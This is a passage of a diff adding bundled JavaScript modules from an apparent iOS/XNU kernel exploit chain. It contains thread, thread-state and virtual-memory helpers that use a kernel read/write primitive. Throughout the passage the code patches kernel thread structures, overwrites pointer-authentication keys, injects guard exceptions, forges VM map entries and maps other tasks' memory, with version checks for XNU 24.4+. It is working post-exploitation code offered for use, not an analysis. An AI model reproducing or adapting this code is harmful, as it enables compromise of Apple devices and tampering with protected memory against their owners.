= __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const AST_GUARD = 0x1000; +const TAG = "THREAD"; + +class Thread +{ + static getTro(thread) + { + let tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().tro); + // Ignore threads with invalid tro address. + if (!(tro & 0xf000000000000000n)) + { + //console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`); + return 0n; + } + return tro; + } + static getCtid(thread) + { + let ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ctid); + return ctid; + } + static getTask(thread) + { + let tro = this.getTro(thread); + // Ignore threads with invalid tro address. + if (!(tro & 0xf000000000000000n) || tro === 0n) + return 0n; + let task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().troTask); + return task; + } + static next(thread) + { + if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads) < 0xffffffd000000000n) + return 0; + let next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads); + if (next < 0xffffffd000000000n) + return 0; + return next; + } + static setMutex(thread,ctid) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData, ctid); + } + static getMutex(thread) + { + let mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData); + return mutex; + } + static getStack(thread) + { + let stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().kstackptr); + return stackptr; + } + static injectGuardException(thread,code) + { + if(!this.getTro(thread)) + { + console.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`); + return false; + } + + // 18.4+ + if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code); + } + else { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, code); + } + + let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); + ast |= AST_GUARD; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); + return true; + } + static clearGuardException(thread) + { + if(!this.getTro(thread)) + { + console.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`); + } + let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast); + ast &= ~AST_GUARD | 0x80000000; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast); + + // 18.4+ + if (xnuVersion.major == 24 && xnuVersion.minor >= 4) { + if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode) == 0x17n) { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, 0n); + } + } + else { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n); + } + } + static getOptions(thread) + { + let options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options); + return options; + } + static setOptions(thread, options) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options, options); + } + static getRopPid(thread) + { + let ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid); + return ropPid; + } + static getJopPid(thread) + { + let jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid); + return jopPid; + } + static setPACKeys(thread, keyA, keyB) + { + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid, keyA); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid, keyB); + } + + static getState(machThread) + { + let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + let stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem + 0x200n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_get_state", + machThread, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, + statePtr, + stateCountPtr); + if (kr != 0) { + console.log(TAG, "Unable to read thread state"); + return false; + } + + let stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_SIZE); + let state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__["default"](stateBuff); + return state; + } + + static setState(machThread, threadAddr, state) + { + let options = 0; + if (threadAddr) { + options = Thread.getOptions(threadAddr); + options |= 0x8000; + Thread.setOptions(threadAddr, options); + } + + let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write(statePtr, state.buffer); + //console.log(TAG,`thread:${Utils.hex(thread)}`); + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_set_state", + machThread, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64, + statePtr, + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT); + if (kr != 0) + { + console.log(TAG,`Failed thread_set_state with error:${kr}`); + return false; + } + + if (threadAddr) { + options &= ~0x8000; + Thread.setOptions(threadAddr, options); + } + return true; + } + + static resume(machThread) + { + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_resume", machThread); + if (kr != 0) { + console.log(TAG, "Unable to resume suspended thread"); + return false; + } + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/ThreadState.js": +/*!*****************************************!*\ + !*** ./src/libs/TaskRop/ThreadState.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ThreadState) +/* harmony export */ }); +/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ "./src/libs/TaskRop/RegistersStruct.js"); + + +class ThreadState +{ + #buffer; + #dataView; + constructor(buffer, offset = 0) + { + this.#buffer = buffer; + this.#dataView = new DataView(buffer,offset); + this.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__["default"](buffer,offset); + } + get buffer() + { + return this.#buffer; + } + get opaque_fp() + { + return this.#dataView.getBigUint64(232,true); + } + set opaque_fp(value) + { + this.#dataView.setBigUint64(232,value,true); + } + get opaque_lr() + { + return this.#dataView.getBigUint64(240,true); + } + set opaque_lr(value) + { + this.#dataView.setBigUint64(240,value,true); + } + get opaque_sp() + { + return this.#dataView.getBigUint64(248,true); + } + set opaque_sp(value) + { + this.#dataView.setBigUint64(248,value,true); + } + get opaque_pc() + { + return this.#dataView.getBigUint64(256,true); + } + set opaque_pc(value) + { + this.#dataView.setBigUint64(256,value,true); + } + get cpsr() + { + return this.#dataView.getUint32(264,true); + } + set cpsr(value) + { + this.#dataView.setUint32(264,value,true); + } + get opaque_flags() + { + return this.#dataView.getUint32(268,true); + } + set opaque_flags(value) + { + this.#dataView.setUint32(268,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VM.js": +/*!********************************!*\ + !*** ./src/libs/TaskRop/VM.js ***! + \********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VM) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./VmMapEntry */ "./src/libs/TaskRop/VmMapEntry.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _VMObject__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./VMObject */ "./src/libs/TaskRop/VMObject.js"); +/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); +/* harmony import */ var _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./VmPackingParams */ "./src/libs/TaskRop/VmPackingParams.js"); + + +const TAG = "VM"; +const VME_ALIAS_BITS = 12n; +const VME_OFFSET_BITS = (64n - VME_ALIAS_BITS); +const VME_OFFSET_SHIFT = VME_ALIAS_BITS; +const VME_SUBMAP_SHIFT = 2n; +const VME_SUBMAP_BITS = (8n * 8n - VME_SUBMAP_SHIFT); +const VM_KERNEL_POINTER_SIGNIFICANT_BITS = 38; +const VM_MAX_KERNEL_ADDRESS = 0xfffffffbffffffffn; +const VM_PAGE_PACKED_PTR_BITS = 31; +const VM_PAGE_PACKED_PTR_SHIFT = 6; +const SIZE_VMOBJECT = 0x20; +const VM_LINK_SIZE = 0x20; +const VM_MAP_ENTRY_SIZE = 0x50; +const VMShmem_SIZE = 0x18; +const VMPackingSize = 0x10; +const VM_FLAGS_ANYWHERE = 0x00000001n; + +class VM +{ + static VM_PROT_READ = 1n; + static VM_PROT_WRITE = 2n; + static VM_PROT_EXECUTE = 4n; + static VM_PROT_ALL = (this.VM_PROT_READ|this.VM_PROT_WRITE|this.VM_PROT_EXECUTE); + static VM_PROT_IS_MASK = 0x40n; + static VM_INHERIT_NONE = 2n; + + static #Tib(x) + { + return ((0n + (x)) << 40n); + } + static #Gib(x) + { + return ((0n + (x)) << 30n); + } + static #VM_MIN_KERNEL_ADDRESS() + { + return ((0n - this.#Gib(144n))); + } + static #VM_MIN_KERNEL_AND_KEXT_ADDRESS() + { + return this.#VM_MIN_KERNEL_ADDRESS(); + } + static #VM_PAGE_PACKED_PTR_BASE() + { + return this.#VM_MIN_KERNEL_AND_KEXT_ADDRESS(); + } + static #VM_PACKING_IS_BASE_RELATIVE(packed) + { + return ((packed.vmpp_bits + packed.vmpp_shift) <= VM_KERNEL_POINTER_SIGNIFICANT_BITS); + } + static #VM_PACKING_PARAMS(ns) + { + ns.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(ns); + return ns; + } + static #VM_UNPACK_POINTER(packed, ns) + { + return this.#vm_unpack_pointer(packed,this.#VM_PACKING_PARAMS(ns)); + } + static #VM_PACK_POINTER(ptr, ns) + { + return this.#vm_pack_pointer(ptr, this.#VM_PACKING_PARAMS(ns)); + } + static #bigUint64ToIntptr(bigUint64) { + // Create a BigInt mask for the lower 64 bits + const lower64BitsMask = BigInt("0xFFFFFFFFFFFFFFFF"); + + // Apply the mask to ensure the value is within the range of 64 bits + bigUint64 = bigUint64 & lower64BitsMask; + + // Check if the value is greater than the maximum signed 64-bit integer + if (bigUint64 > BigInt("0x7FFFFFFFFFFFFFFF")) { + // Convert to signed by subtracting 2^64 + return Number(bigUint64 - BigInt("0x10000000000000000")); + } else { + // Directly convert to Number + return Number(bigUint64); + } + } + static #vm_unpack_pointer(packed, params) + { + if (!params.vmpp_base_relative) + { + //console.log(TAG,`In first if unpack`); + //let addr = this.#bigUint64ToIntptr(BigInt(packed)); + let addr = packed; + addr <<= 64 - params.vmpp_bits; + addr >>= 64 - params.vmpp_bits - params.vmpp_shift; + return addr; + } + if (packed) + { + //console.log(TAG,`In second if unpack`); + return (BigInt(packed) << BigInt(params.vmpp_shift)) + BigInt(params.vmpp_base); + } + return 0n; + } + static #vm_pack_pointer(ptr,params) + { + if (!params.vmpp_base_relative) + { + //console.log(TAG,`In first if pack`); + return ptr >> params.vmpp_shift; + } + if (ptr) + { + //console.log(TAG,`In second if pack`); + return (BigInt(ptr) - BigInt(params.vmpp_base)) >> BigInt(params.vmpp_shift); + } + return 0n; + } + static #VME_OFFSET(entry) + { + return entry.vme_offset << 12n; + } + static #trunc_page_kernel(x) + { + //return ((x) & (~vm_kernel_page_mask)); + return ((x) & (~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK)); + } + static #round_page_kernel(x) + { + //return this.#trunc_page_kernel((x) + vm_kernel_page_mask); + return this.#trunc_page_kernel((x) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK); + } + static #vm_getEntry(map,address) + { + let rbhRoot = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(map + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().hdrRBHRoot); + + //console.log(TAG,`Get entry:${Utils.hex(address)}`); + //console.log(TAG,`rbh root:${Utils.hex(rbhRoot)}`); + + let rbEntry = rbhRoot; + let foundEntry = 0n; + + while (rbEntry != 0n) + { + let curPtr = rbEntry - 0x20n; // container_of(rb_entry, struct vm_map_entry, store) + //uint64_t prev = 0; + + let links = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read(curPtr, links, VM_LINK_SIZE); + let linksBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(links,VM_LINK_SIZE); + let linksArray = new Uint8Array(linksBuffer); + links = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_links(linksArray); + + //console.log(TAG,`[${Utils.hex(links.start)} - ${Utils.hex(links.end)}]:${Utils.hex(curPtr)}`); + + if (address >= links.start) + { + if (address < links.end) + { + foundEntry = curPtr; + //console.log(TAG,`Found:${Utils.hex(curPtr)}`); + break; + } + + let rbeRight = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeRight); + rbEntry = rbeRight; + //prev = curPtr; + } + else + { + let rbeLeft = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeLeft); + rbEntry = rbeLeft; + } + } + return foundEntry; + } + + static mapRemotePage(vmMap, address) + { + //console.log(TAG, `Map remote address: ${Utils.hex(address)}`); + + let vmObject = VM.getObject(vmMap, address); + //LOG("vmObject: %llx (objectOffset=%llx, entryOffset=%llx)", + // vmObject.address, + // vmObject.objectOffset, + // vmObject.entryOffset); + + if (!vmObject.address) + return null; + + let shmem = VM.createShmemWithVmObject(vmObject); + //LOG("shmem: port=%x, address=%llx", shmem.port, shmem.remoteAddress); + + return shmem; + } + + static getObject(map, address) + { + let VMObjectBuff = new ArrayBuffer(SIZE_VMOBJECT); + let vmObject = new _VMObject__WEBPACK_IMPORTED_MODULE_5__["default"](VMObjectBuff); + let entryAddr = this.#vm_getEntry(map, address); + if (!entryAddr) + return vmObject; + + let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(entryAddr, VM_MAP_ENTRY_SIZE); + let entryUintArr = new Uint8Array(entryBuff); + let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryUintArr); + //console.log(TAG, `entry: addr=${Utils.hex(entryAddr)}, is_sub_map=${entry.is_sub_map}, vme_object_packed=${Utils.hex(entry.vme_object)}`); + + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let vmeObject = this.#VM_UNPACK_POINTER(entry.vme_object, params); + //console.log(TAG, `vme object: ${Utils.hex(vmeObject)}`); + + let objectOffs = this.#VME_OFFSET(entry); + let entryOffs = address - entry.links.start + objectOffs; + + //console.log(TAG, `object offset: ${Utils.hex(objectOffs)}`); + //console.log(TAG, `entry offset: ${Utils.hex(entryOffs)}`); + + vmObject.vmAddress = address; + vmObject.address = BigInt(vmeObject); + vmObject.objectOffset = BigInt(objectOffs); + vmObject.entryOffset = BigInt(entryOffs); + return vmObject; + } + + static createShmemWithVmObject(object) + { + //console.log(TAG,`Inside createShmem with addr to read:${Utils.hex(object.address)}`); + let shmemBuff = new ArrayBuffer(VMShmem_SIZE); + let shmem = new _VMShmem__WEBPACK_IMPORTED_MODULE_6__["default"](shmemBuff); + let size = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().vouSize); + size = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].round_page(size); + + //console.log(TAG,`vm object size:${Utils.hex(size)}`); + + let localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let roundedSize = this.#round_page_kernel(size); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_allocate",0x203n, localAddr, roundedSize, VM_FLAGS_ANYWHERE); + if (ret != 0) + { + console.log(TAG,`mach_vm_allocate():${ret}`); + return shmem; + } + localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(localAddr); + //console.log(TAG,`mach_vm_allocate:${Utils.hex(roundedSize)} localAddr:${Utils.hex(localAddr)}`); + /* + let memory_object = new_bigint(); + ret = Native.callSymbol("mach_make_memory_entry_64", + 0x203n, + get_bigint_addr(roundedSize), + localAddr, + this.VM_PROT_READ | this.VM_PROT_WRITE, + get_bigint_addr(memory_object), + 0n); + let resBuff = Native.read(get_bigint_addr(memory_object),Utils.UINT32_SIZE); + let resView = new DataView(resBuff); + let port = resView.getUint32(0,true); + */ + + let memory_object = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x500n; + let roundedSizePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x1000n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(roundedSizePtr, roundedSize); + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_make_memory_entry_64", + 0x203n, + roundedSizePtr, + localAddr, + this.VM_PROT_READ | this.VM_PROT_WRITE, + memory_object, + 0n); + let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read32(memory_object); + //let port = Native.callSymbol("wrapper_mach_make_memory_entry_64",roundedSize,localAddr); + //console.log(TAG,`mach_make_memory_entry_64():${Utils.hex(port)}`); + let shmemNamedEntry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortKObject(BigInt(port)); + //console.log(TAG,`shmem named entry:${Utils.hex(shmemNamedEntry)}`); + let shmemVMCopyAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemNamedEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().backingCopy); + //console.log(TAG,`shmem named entry VM copy addr:${Utils.hex(shmemVMCopyAddr)}`); + let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemVMCopyAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().next); + //console.log(TAG,`next addr:${Utils.hex(nextAddr)}`); + let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(nextAddr, VM_MAP_ENTRY_SIZE); + let entryArr = new Uint8Array(entryBuff); + let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryArr); + //console.log(TAG,`entry: vme_kernel_object=${Utils.hex(entry.vme_kernel_object)}, is_sub_map=${Utils.hex(entry.is_sub_map)}`); + //console.log(TAG,`entry: is_sub_map=${Utils.hex(entry.is_sub_map)}`); + if (entry.vme_kernel_object || entry.is_sub_map || false) // vme_kernel_object struct is not implemented + { + console.log(TAG,`Entry cannot be a submap`); + return shmem; + } + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let packedPointer = this.#VM_PACK_POINTER(object.address, params); + //console.log(TAG,`packedPointer:${Utils.hex(packedPointer)}`); + let refCount = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount); + //console.log(TAG,`vm object ref count:${Utils.hex(refCount)}`); + refCount++; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount, refCount); + entry.vme_object = Number(packedPointer); + entry.vme_offset = object.objectOffset; + //write(nextAddr, &entry, sizeof(entry)); + // write dedicate write in order to avoid zone panic with bigger 0x20 elements size + let entryResWrite = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(entryResWrite,entryArr.buffer); + //Utils.printArrayBufferInChunks(entryArr.buffer); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].writeZoneElement(nextAddr, entryResWrite, VM_MAP_ENTRY_SIZE); + //console.log(TAG,`After write zone element`); + //let mappedAddr = Native.callSymbol("malloc",roundedSize * 4n); + //let mappedAddr = new_bigint(); + let mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(mappedAddr, 0x1337n); + //let mach_vm_map_func = Native.dlsym("mach_vm_map"); + //console.log(TAG,`mach_vm_map:${Utils.hex(mach_vm_map_func)} with object.entryOffset:${Utils.hex(object.entryOffset)}`); + //ret = fcall(mach_vm_map_func,0x203n,get_bigint_addr(mappedAddr),0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_map",0x203n,mappedAddr,0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE); + //console.log(TAG,`ret:${ret}`); + mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(mappedAddr); + //console.log(TAG,`mach_vm_map():${Utils.hex(ret)}, mappedAddr=${Utils.hex(mappedAddr)}`); + if(ret != 0) + { + console.log(TAG,'failed on mach_vm_map'); + mappedAddr = 0n; + } + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_deallocate", 0x203, localAddr, roundedSize); + if (ret != 0) { + console.log(TAG, "mach_vm_deallocate: " + ret); + } + + //let mappedAddr = Native.callSymbol("wrapper_mach_vm_map",port,object.entryOffset); + //console.log(TAG,`mappedAddr:${Utils.hex(mappedAddr)}`); + shmem.port = BigInt(port); + shmem.remoteAddress = object.vmAddress; + shmem.localAddress = mappedAddr; + return shmem; + } + + static mocker(addrUnpack,addrPack) + { + let paramsBuff = new ArrayBuffer(VMPackingSize); + let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff); + params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE(); + params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS; + params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT; + params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params); + let vmeObject = this.#VM_UNPACK_POINTER(addrUnpack, params); + //console.log(TAG,`vmeObjectUnpack:${Utils.hex(vmeObject)}`); + vmeObject = this.#VM_PACK_POINTER(addrPack,params); + //console.log(TAG,`vmeObjectpack:${Utils.hex(vmeObject)}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/VMObject.js": +/*!**************************************!*\ + !*** ./src/libs/TaskRop/VMObject.js ***! + \**************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VMObject) +/* harmony export */ }); +class VMObject +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get vmAddress() + { + return this.#dataView.getBigUint64(0,true); + } + set vmAddress(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get address() + { + return this.#dataView.getBigUint64(8,true); + } + set address(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get objectOffset() + { + return this.#dataView.getBigUint64(16,true); + } + set objectOffset(value) + { + this.#dataView.setBigUint64(16,value,true); + } + get entryOffset() + { + return this.#dataView.getBigUint64(24,true); + } + set entryOffset(value) + { + this.#dataView.setBigUint64(24,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VMShmem.js": +/*!*************************************!*\ + !*** ./src/libs/TaskRop/VMShmem.js ***! + \*************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VMShmem) +/* harmony export */ }); +class VMShmem +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get port() + { + return 